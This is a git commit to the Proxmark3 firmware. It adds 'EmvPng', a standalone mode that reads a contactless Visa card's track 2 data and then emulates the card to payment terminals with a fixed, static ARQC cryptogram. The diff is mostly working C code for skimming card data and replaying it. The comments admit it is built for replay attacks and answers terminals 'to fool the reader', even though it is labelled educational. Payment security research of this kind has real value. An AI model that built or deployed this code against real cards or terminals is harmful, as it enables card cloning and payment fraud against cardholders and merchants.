feat(standalone): add EmvPng as a new standalone mode (EMV Visa w/ fixed ARQC)

Introduce EmvPng module under Proxmark3 standalone.
EMV Visa (ISO14443-4) emulation with fixed ARQC (educational/lab use).
Derived from MSDSal’s standalone mode (Salvador Mendoza), adapted for EMV Visa.
This commit is contained in:
Davi Mikael
2025-10-21 18:55:45 -03:00
parent c1441eb2ab
commit cba6faf2c3
5 changed files with 613 additions and 2 deletions
+4 -1
View File
@@ -137,12 +137,15 @@ define KNOWN_STANDALONE_DEFINITIONS
| DANKARMULTI | Load multiple standalone modes. |
| | - Daniel Karling |
+----------------------------------------------------------+
| HF_EMVPNG | Read and emulate EMV Visa cards |
| | - Davi Mikael (Penegui) |
+----------------------------------------------------------+
endef
STANDALONE_MODES := LF_SKELETON
STANDALONE_MODES += LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE
STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG
STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG
STANDALONE_MODES += DANKARMULTI
STANDALONE_MODES_REQ_BT := HF_CARDHOPPER HF_REBLAY
STANDALONE_MODES_REQ_SMARTCARD :=
+4
View File
@@ -161,6 +161,10 @@ endif
ifneq (,$(findstring WITH_STANDALONE_HF_ST25_TEAROFF,$(APP_CFLAGS)))
SRC_STANDALONE = hf_st25_tearoff.c
endif
# WITH_STANDALONE_HF_EMVPNG
ifneq (,$(findstring WITH_STANDALONE_HF_EMVPNG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_emvpng.c
endif
ifneq (,$(findstring WITH_STANDALONE_DANKARMULTI,$(APP_CFLAGS)))
SRC_STANDALONE = dankarmulti.c
+603
View File
@@ -0,0 +1,603 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//-----------------------------------------------------------------------------
// Project: EmvPng — EMV Emulator (fixed ARQC) derived from MSDSal
//
// Copyright (C) 2023-2025 Davi Mikael C. R. (penegui)
// Modifications: EMV emulation with fixed ARQC for educational/lab use.
//
// Based on:
// MSDSal by Salvador Mendoza (salmg.net)
// Copyright (C) 2020 Salvador Mendoza
// Copyright (C) Proxmark3 contributors — see AUTHORS.md
//
// This program is free software: you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by the
// Free Software Foundation, either version 3 of the License, or (at your option)
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the full license text.
//-----------------------------------------------------------------------------
// Description:
// Code derived from MSDSal and adapted for EMV testing with a fixed ARQC
// in controlled environments. Educational use only.
//-----------------------------------------------------------------------------
// by Penegui
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#include "iso14443a.h"
#include "protocols.h"
#include "cmd.h"
void ModInfo(void) {
DbpString(" HF - Reading Visa cards & Emulating a Visa EMV Transaction(ISO14443) - (Penegui)");
}
/* This standalone implements two different modes: reading and emulating.
*
* The initial mode is reading with LED A as guide.
* In this mode, the Proxmark expects a Visa Card,
* and will act as card reader. Trying to find track 2.
*
* If the Proxmark found a track 2, it will change to emulation mode (LED C) automatically.
* During this mode the Proxmark will behave as card, emulating a Visa EMV transaction
* using the pre-saved track2 from the previous reading.
*
* It is possible to jump from mode to another by simply pressing the button.
* However, to jump from reading to emulation mode, the LED C as to be on, which
* means having a track 2 in memory.
*
* Keep pressing the button down will quit the standalone cycle.
*
* LEDs:
* LED A = in reading mode
* LED C = in emulation(a track 2 in memory) mode
* LED A + LED C = in reading mode, but you can jump back to emulation mode by pressing the button
* LED B = receiving/sending commands, activity
*
*
* Reading or emulating ISO-14443A technology is not limited to payment cards. This example
* was not only designed to make a replay attack, but to open new possibilities in the ISO-14443A
* technologies. Be brave enough to share your knowledge & inspire others. Salvador Mendoza.
*/
// Default GET PROCESSING
static uint8_t ppdol [255] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00};
// Generate GET PROCESSING
static uint8_t treatPDOL(const uint8_t *apdu) {
uint8_t plen = 7;
// PDOL Format: 80 A8 00 00 + (PDOL Length+2) + 83 + PDOL Length + PDOL + 00
for (uint8_t i = 1; i <= apdu[0]; i++) { // Magic stuff, the generation order is important
if (apdu[i] == 0x9F && apdu[i + 1] == 0x66) { // Terminal Transaction Qualifiers
ppdol[plen] = 0xF6;
ppdol[plen + 1] = 0x20;
ppdol[plen + 2] = 0xC0;
ppdol[plen + 3] = 0x00;
plen += 4;
i += 2;
} else if (apdu[i] == 0x9F && apdu[i + 1] == 0x1A) { // Terminal Country Code
ppdol[plen] = 0x9F;
ppdol[plen + 1] = 0x1A;
plen += 2;
i += 2;
} else if (apdu[i] == 0x9F && apdu[i + 1] == 0x02) { // Authorized amount
ppdol[plen] = 0x00;
ppdol[plen + 1] = 0x00;
ppdol[plen + 2] = 0x00;
ppdol[plen + 3] = 0x00;
ppdol[plen + 4] = 0x01;
ppdol[plen + 5] = 0x00;
plen += 6;
i += 2;
} else if (apdu[i] == 0x9F && apdu[i + 1] == 0x03) { // Secondary / cashback amount
ppdol[plen] = 0x00;
ppdol[plen + 1] = 0x00;
ppdol[plen + 2] = 0x00;
ppdol[plen + 3] = 0x00;
ppdol[plen + 4] = 0x00;
ppdol[plen + 5] = 0x00;
plen += 6;
i += 2;
}else if (apdu[i] == 0x5F && apdu[i + 1] == 0x2A) { // Transaction Currency Code
ppdol[plen] = 0x5F;
ppdol[plen + 1] = 0x2A;
plen += 2;
i += 2;
} else if (apdu[i] == 0x9A) { // Transaction Date
ppdol[plen] = 0x9A;
ppdol[plen + 1] = 0x9A;
ppdol[plen + 2] = 0x9A;
plen += 3;
i += 1;
} else if (apdu[i] == 0x95) { // Terminal Verification Results
ppdol[plen] = 0x95;
ppdol[plen + 1] = 0x95;
ppdol[plen + 2] = 0x95;
ppdol[plen + 3] = 0x95;
ppdol[plen + 4] = 0x95;
plen += 5;
i += 1;
} else if (apdu[i] == 0x9C) { // Transaction Type
ppdol[plen] = 0x9C;
plen += 1;
i += 1;
} else if (apdu[i] == 0x9F && apdu[i + 1] == 0x37) { // Unpredictable Number
ppdol[plen] = 0x9F;
ppdol[plen + 1] = 0x37;
ppdol[plen + 2] = 0x9F;
ppdol[plen + 3] = 0x37;
plen += 4;
i += 2;
} else { // To the others, add "0" to complete the format depending on its range
uint8_t u = apdu[i + 2];
while (u > 0) {
ppdol[plen] = 0;
plen += 1;
u--;
}
i += 2;
}
}
ppdol[4] = (plen + 2) - 7; // Length of PDOL + 2
ppdol[6] = plen - 7; // Real length
plen++; // +1 because the last 0
ppdol[plen] = 0x00; // Add the last 0 to the challenge
return plen;
}
void RunMod(void) {
StandAloneMode();
DbpString(_YELLOW_(">>") "Reading Visa cards & Emulating a Visa EMV Transaction a.k.a. EmvPng Started " _YELLOW_("<<"));
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
//For reading process
iso14a_card_select_t card_a_info;
uint8_t apdubuffer[MAX_FRAME_SIZE] = { 0x00 };
//Specific for Visa cards: select ppse, select Visa AID, GET PROCESSING, SFI
uint8_t ppse[20] = {
0x00, 0xA4, 0x04, 0x00, 0x0e, 0x32, 0x50, 0x41,
0x59, 0x2e, 0x53, 0x59, 0x53, 0x2e, 0x44, 0x44,
0x46, 0x30, 0x31, 0x00
};
uint8_t visa[13] = {
0x00, 0xA4, 0x04, 0x00, 0x07, 0xa0, 0x00, 0x00,
0x00, 0x03, 0x10, 0x10, 0x00
};
uint8_t processing [8] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00, 0x00};
uint8_t sfi[5] = {0x00, 0xb2, 0x01, 0x0c, 0x00};
uint8_t *apdus[4] = {ppse, visa, processing, sfi};
uint8_t apduslen[4] = { sizeof(ppse), sizeof(visa), sizeof(processing), sizeof(sfi)};
uint8_t pdol[50], plen = 8;
bool existpdol;
// - EMV token card format -
//
// Card number.............. 4412 3456 0578 1234
// Expiration date.......... 17/11
// Service code............. 201
// Discretionary data....... 0000030000991
// Pin verification value... 0000
// CVV / iCvv............... 030
// Trailing................. 000991
// 44 12 34 56 05 78 12 34 D 1711 2 01 00 00 03 00 00 99 1
char token[19] = {0x44,0x12,0x34,0x56,0x05,0x78,0x12,0x34,0xd1,0x71,0x12,0x01,0x00,0x00,0x03,0x00,0x00,0x99,0x1f};
// It is possible to initialize directly the emulation mode, having "token" with data and set "chktoken" = true ;)
//
//char token[19] = {0x00};
bool chktoken = true;
// Allocate 512 bytes for the dynamic modulation, created when the reader queries for it
// Such a response is less time critical, so we can prepare them on the fly
#define DYNAMIC_RESPONSE_BUFFER_SIZE 64
#define DYNAMIC_MODULATION_BUFFER_SIZE 1024
// UID 4 bytes(could be 7 bytes if needed it)
uint8_t flags = FLAG_4B_UID_IN_DATA;
// in case there is a read command received we shouldn't break
uint8_t data[PM3_CMD_DATA_SIZE] = {0x00};
uint8_t visauid[7] = {0x01, 0x02, 0x03, 0x04};
memcpy(data, visauid, 4);
// to initialize the emulation
uint8_t tagType = 11; // 11 = ISO/IEC 14443-4 - javacard (JCOP)
tag_response_info_t *responses;
uint32_t cuid = 0;
uint32_t counters[3] = { 0x00, 0x00, 0x00 };
uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd };
uint8_t pages = 0;
// command buffers
uint8_t receivedCmd[MAX_FRAME_SIZE] = { 0x00 };
uint8_t receivedCmdPar[MAX_PARITY_SIZE] = { 0x00 };
uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE] = {0};
uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE] = {0};
// to know the transaction status
uint8_t prevCmd = 0;
// handler - command responses
tag_response_info_t dynamic_response_info = {
.response = dynamic_response_buffer,
.response_n = 0,
.modulation = dynamic_modulation_buffer,
.modulation_n = 0
};
// States for standalone
#define STATE_READ 0
#define STATE_EMU 1
uint8_t state = STATE_READ;
// Checking if the user wants to go directly to emulation mode using a hardcoded track 2
if (chktoken == true && token[0] != 0x00) {
state = STATE_EMU;
DbpString(_YELLOW_("[ ") "Initialized emulation mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a card reader...");
} else {
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a Visa card...");
}
for (;;) {
WDT_HIT();
// exit from RunMod, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
if (button_pressed == BUTTON_HOLD)
break;
else if (button_pressed == BUTTON_SINGLE_CLICK) {
// pressing one time change between reading & emulation
if (state == STATE_READ) {
if (chktoken == true && token[0] != 0x00) {
// only change to emulation if it saved a track 2 in memory
state = STATE_EMU;
DbpString(_YELLOW_("[ ") "In emulation mode" _YELLOW_(" ]"));
} else
DbpString(_YELLOW_("!!") "Nothing in memory to emulate");
} else {
state = STATE_READ;
DbpString(_YELLOW_("[ ") "In reading mode" _YELLOW_(" ]"));
}
}
SpinDelay(500);
if (state == STATE_READ) {
LED_A_ON();
if (chktoken)
LED_C_ON();
iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false)) {
DbpString(_YELLOW_("+") "Found ISO 14443 Type A!");
for (uint8_t i = 0; i < 4; i++) {
chktoken = false;
LED_C_OFF();
LED_B_ON();
uint8_t apdulen = iso14_apdu(apdus[i], (uint16_t) apduslen[i], false, apdubuffer, NULL);
if (apdulen > 0) {
DbpString(_YELLOW_("[ ") "Proxmark command" _YELLOW_(" ]"));
Dbhexdump(apduslen[i], apdus[i], false);
DbpString(_GREEN_("[ ") "Card answer" _GREEN_(" ]"));
Dbhexdump(apdulen - 2, apdubuffer, false);
DbpString("----");
for (uint8_t u = 0; u < apdulen; u++) {
if (i == 1) {
// check for PDOL
if (apdubuffer[u] == 0x9F && apdubuffer[u + 1] == 0x38) {
for (uint8_t e = 0; e <= apdubuffer[u + 2]; e++)
pdol[e] = apdubuffer[u + e + 2];
// generate a challenge
plen = treatPDOL(pdol);
apdus[2] = ppdol;
apduslen[2] = plen;
existpdol = true;
}
} else if (i == 3) {
// find track 2
if (apdubuffer[u] == 0x57 && apdubuffer[u + 1] == 0x13 && !chktoken) {
chktoken = true;
memcpy(&token, &apdubuffer[u + 2], 19);
break;
}
}
}
if (i == 1) {
DbpString(_GREEN_("[ ") "Challenge generated" _GREEN_(" ]"));
Dbhexdump(plen, existpdol ? ppdol : processing, false);
}
} else {
DbpString(_YELLOW_("!!") "Error reading the card");
}
LED_B_OFF();
}
if (chktoken) {
DbpString(_RED_("[ ") "Track 2" _RED_(" ]"));
Dbhexdump(19, (uint8_t *)token, false);
DbpString(_YELLOW_("!!") "Card number");
Dbhexdump(8, (uint8_t *)token, false);
DbpString("---");
LED_C_ON();
state = STATE_EMU;
DbpString(_YELLOW_("[ ") "Initialized emulation mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a card reader...");
}
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF();
} else if (state == STATE_EMU) {
LED_A_OFF();
LED_C_ON();
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM();
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_YELLOW_("!!") "Error initializing the emulation process!");
SpinDelay(500);
state = STATE_READ;
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n" _YELLOW_("!!") "Waiting for a Visa card...");
continue;
}
// We need to listen to the high-frequency, peak-detected path.
iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
// command length
int len = 0;
// to check emulation status
int retval = PM3_SUCCESS;
bool odd_reply = true;
clear_trace();
set_tracing(true);
for (;;) {
LED_B_OFF();
// clean receive command buffer
if (!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
DbpString(_YELLOW_("!!") "Emulator stopped");
retval = PM3_EOPABORTED;
break;
}
tag_response_info_t *p_response = NULL;
LED_B_ON();
// dynamic_response_info will be in charge of responses
dynamic_response_info.response_n = 0;
//Dbprintf("receivedCmd: %02x\n", receivedCmd);
// received a REQUEST
if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) {
odd_reply = !odd_reply;
if (odd_reply) {
p_response = &responses[RESP_INDEX_ATQA];
}
// received a HALT
} else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) {
//DbpString(_YELLOW_("+") "Received a HALT");
p_response = NULL;
// received a WAKEUP
} else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) {
//DbpString(_YELLOW_("+") "WAKEUP Received");
prevCmd = 0;
p_response = &responses[RESP_INDEX_ATQA];
// received request for UID (cascade 1)
} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) {
//DbpString(_YELLOW_("+") "Request for UID C1");
p_response = &responses[RESP_INDEX_UIDC1];
// received a SELECT (cascade 1)
} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) {
//DbpString(_YELLOW_("+") "Request for SELECT S1");
p_response = &responses[RESP_INDEX_SAKC1];
// received a RATS request
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) {
DbpString(_YELLOW_("+") "Request for RATS");
prevCmd = 0;
//p_response = &responses[RESP_INDEX_RATS];
static uint8_t rRATS[] = { 0x13, 0x78, 0x80, 0x72, 0x02, 0x80, 0x31, 0x80, 0x66, 0xb1, 0x84, 0x0c, 0x01, 0x6e, 0x01, 0x83, 0x00, 0x90, 0x00 };
memcpy(&dynamic_response_info.response[0], rRATS, sizeof(rRATS));
dynamic_response_info.response_n = sizeof(rRATS);
} else {
DbpString(_YELLOW_("[ ") "Card reader command" _YELLOW_(" ]"));
Dbhexdump(len, receivedCmd, false);
// emulate a Visa EMV(Magnetic stripe data) card
if (receivedCmd[0] == 0x02 || receivedCmd[0] == 0x03) {
dynamic_response_info.response[0] = receivedCmd[0];
// depending on card reader commands, the Proxmark will answer to fool the reader
// respond with PPSE
if (receivedCmd[2] == 0xA4 && receivedCmd[6] == 0x32 && prevCmd == 0) {
uint8_t ppsea[72] = {
0x6F, 0x44, 0x84, 0x0E, 0x32, 0x50, 0x41, 0x59,
0x2E, 0x53, 0x59, 0x53, 0x2E, 0x44, 0x44, 0x46,
0x30, 0x31, 0xA5, 0x32, 0xBF, 0x0C, 0x2F, 0x61,
0x16, 0x4F, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x03,
0x10, 0x10, 0x87, 0x01, 0x01, 0x9F, 0x12, 0x07,
0x43, 0x52, 0x45, 0x44, 0x49, 0x54, 0x4F, 0x61,
0x15, 0x4F, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x03,
0x20, 0x10, 0x87, 0x01, 0x02, 0x9F, 0x12, 0x06,
0x44, 0x45, 0x42, 0x49, 0x54, 0x4F, 0x90, 0x00
};
memcpy(&dynamic_response_info.response[1], ppsea, sizeof(ppsea));
dynamic_response_info.response_n = sizeof(ppsea) + 1;
prevCmd++;
// respond Visa AID
} else if (receivedCmd[2] == 0xA4 && receivedCmd[10] == 0x03 && receivedCmd[11] == 0x10 && prevCmd == 1) {
uint8_t visauid_long[101] = {
0x6F, 0x61, 0x84, 0x07, 0xA0, 0x00, 0x00, 0x00,
0x03, 0x10, 0x10, 0xA5, 0x56, 0x50, 0x0C, 0x56,
0x49, 0x53, 0x41, 0x20, 0x43, 0x52, 0x45, 0x44,
0x49, 0x54, 0x4F, 0x87, 0x01, 0x01, 0x9F, 0x12,
0x07, 0x43, 0x52, 0x45, 0x44, 0x49, 0x54, 0x4F,
0x5F, 0x2D, 0x08, 0x70, 0x74, 0x65, 0x73, 0x65,
0x6E, 0x66, 0x72, 0x9F, 0x11, 0x01, 0x01, 0x9F,
0x38, 0x18,
// Tag 9F66 - Decodificador TTQ (Qualificadores de Transação de Terminal)
0x9F, 0x66, 0x04,
0x9F, 0x02, 0x06,
0x9F, 0x03, 0x06, 0x9F, 0x1A, 0x02, 0x95, 0x05,
0x5F, 0x2A, 0x02, 0x9A, 0x03, 0x9C, 0x01, 0x9F,
0x37, 0x04, 0xBF, 0x0C, 0x0E, 0x9F, 0x5A, 0x06,
0x52, 0x09, 0x86, 0x00, 0x76, 0x30, 0x42, 0x03,
0x41, 0x08, 0x63, 0x90, 0x00
};
memcpy(&dynamic_response_info.response[1], visauid_long, sizeof(visauid_long));
dynamic_response_info.response_n = sizeof(visauid_long) + 1;
prevCmd++;
// GET PROCESSING
} else if (receivedCmd[1] == 0x80 && receivedCmd[2] == 0xA8 && receivedCmd[6] == 0x83 && prevCmd == 2) {
uint8_t processing_long_last[8] = {0x77, 0x5f, 0x82, 0x02, 0x20, 0x00, 0x57, 0x13};
uint8_t processing_long_rest[72] = {
0x5f, 0x20, 0x0c, 0x50, 0x41, 0x59, 0x57, 0x41,
0x56, 0x45, 0x2f, 0x56, 0x49, 0x53, 0x41, 0x5f,
0x34, 0x01, 0x00,
// Tag 9F10 - Issuer Application Data (IAD) Decoder
0x9f, 0x10, 0x07, 0x06, 0x01, 0x12, 0x03, 0xa0, 0x20, 0x00,
//assinatura ARQC Estatica
0x9f, 0x26, 0x08, 0xcb, 0x44, 0x0d, 0x86, 0x1a, 0xa8, 0x33, 0x1d,
//que tipo de assinatura
0x9f, 0x27, 0x01, 0x80,
0x9f, 0x36, 0x02, 0x0f,
0x57, 0x9f, 0x5d, 0x06, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00,
// Tag 9F6C - Decodificador CTQ (Qualificadores de Transação de Cartão)
0x9f, 0x6c, 0x02, 0x00, 0x80,
// Tag 9F6E - Form Factor Indicator (Third Party Data Decoder)
0x9f, 0x6e, 0x04, 0x20, 0x70, 0x00, 0x00,
0x90, 0x00
};
uint8_t processing_long[99];
memcpy(&processing_long[0], processing_long_last, sizeof(processing_long_last));
memcpy(&processing_long[8], token, sizeof(token));
memcpy(&processing_long[27], processing_long_rest, sizeof(processing_long_rest));
memcpy(&dynamic_response_info.response[1], processing_long, sizeof(processing_long));
dynamic_response_info.response_n = sizeof(processing_long) + 1;
prevCmd++;
// SFI
} else if (receivedCmd[1] == 0x00 && receivedCmd[2] == 0xB2 && prevCmd == 3) {
uint8_t last[4] = {0x70, 0x15, 0x57, 0x13};
uint8_t statusapdu[2] = {0x90, 0x00};
uint8_t card[25];
memcpy(&card[0], last, sizeof(last));
memcpy(&card[4], token, sizeof(token));
memcpy(&card[23], statusapdu, sizeof(statusapdu));
memcpy(&dynamic_response_info.response[1], card, sizeof(card));
dynamic_response_info.response_n = sizeof(card) + 1;
prevCmd++;
} else {
uint8_t finished[2] = {0x6f, 0x00};
memcpy(&dynamic_response_info.response[1], finished, sizeof(finished));
dynamic_response_info.response_n = sizeof(finished) + 1;
if (prevCmd == 5) {
prevCmd = 0;
}
}
} else {
DbpString(_YELLOW_("!!") "Received unknown command!");
if (prevCmd < 4) {
memcpy(dynamic_response_info.response, receivedCmd, len);
dynamic_response_info.response_n = len;
} else {
dynamic_response_info.response_n = 0;
}
}
}
if (dynamic_response_info.response_n > 0) {
DbpString(_GREEN_("[ ") "Proxmark3 answer" _GREEN_(" ]"));
Dbhexdump(dynamic_response_info.response_n, dynamic_response_info.response, false);
DbpString("----");
// add CRC bytes, always used in ISO 14443A-4 compliant cards
AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n);
dynamic_response_info.response_n += 2;
if (prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
SpinDelay(500);
DbpString(_YELLOW_("!!") "Error preparing Proxmark to answer!");
continue;
}
p_response = &dynamic_response_info;
}
if (p_response != NULL) {
EmSendPrecompiledCmd(p_response);
}
}
switch_off();
set_tracing(false);
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
}
}
DbpString(_YELLOW_("[=]") "exiting");
LEDsoff();
}
@@ -146,6 +146,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo
| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford
| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options
| HF_YOUNG | Mifare sniff/simulation - Craig Young
| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui)
| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar
By default `STANDALONE=LF_SAMYRUN`.
+1 -1
View File
@@ -32,7 +32,7 @@ mv bootrom/obj/bootrom.elf "$DEST/PM3BOOTROM.elf"
# cf armsrc/Standalone/Makefile.hal
STANDALONE_MODES=(LF_SKELETON)
STANDALONE_MODES+=(LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE)
STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG)
STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG)
STANDALONE_MODES+=(DANKARMULTI)
STANDALONE_MODES_REQ_BT=(HF_CARDHOPPER HF_REBLAY)
STANDALONE_MODES_REQ_SMARTCARD=()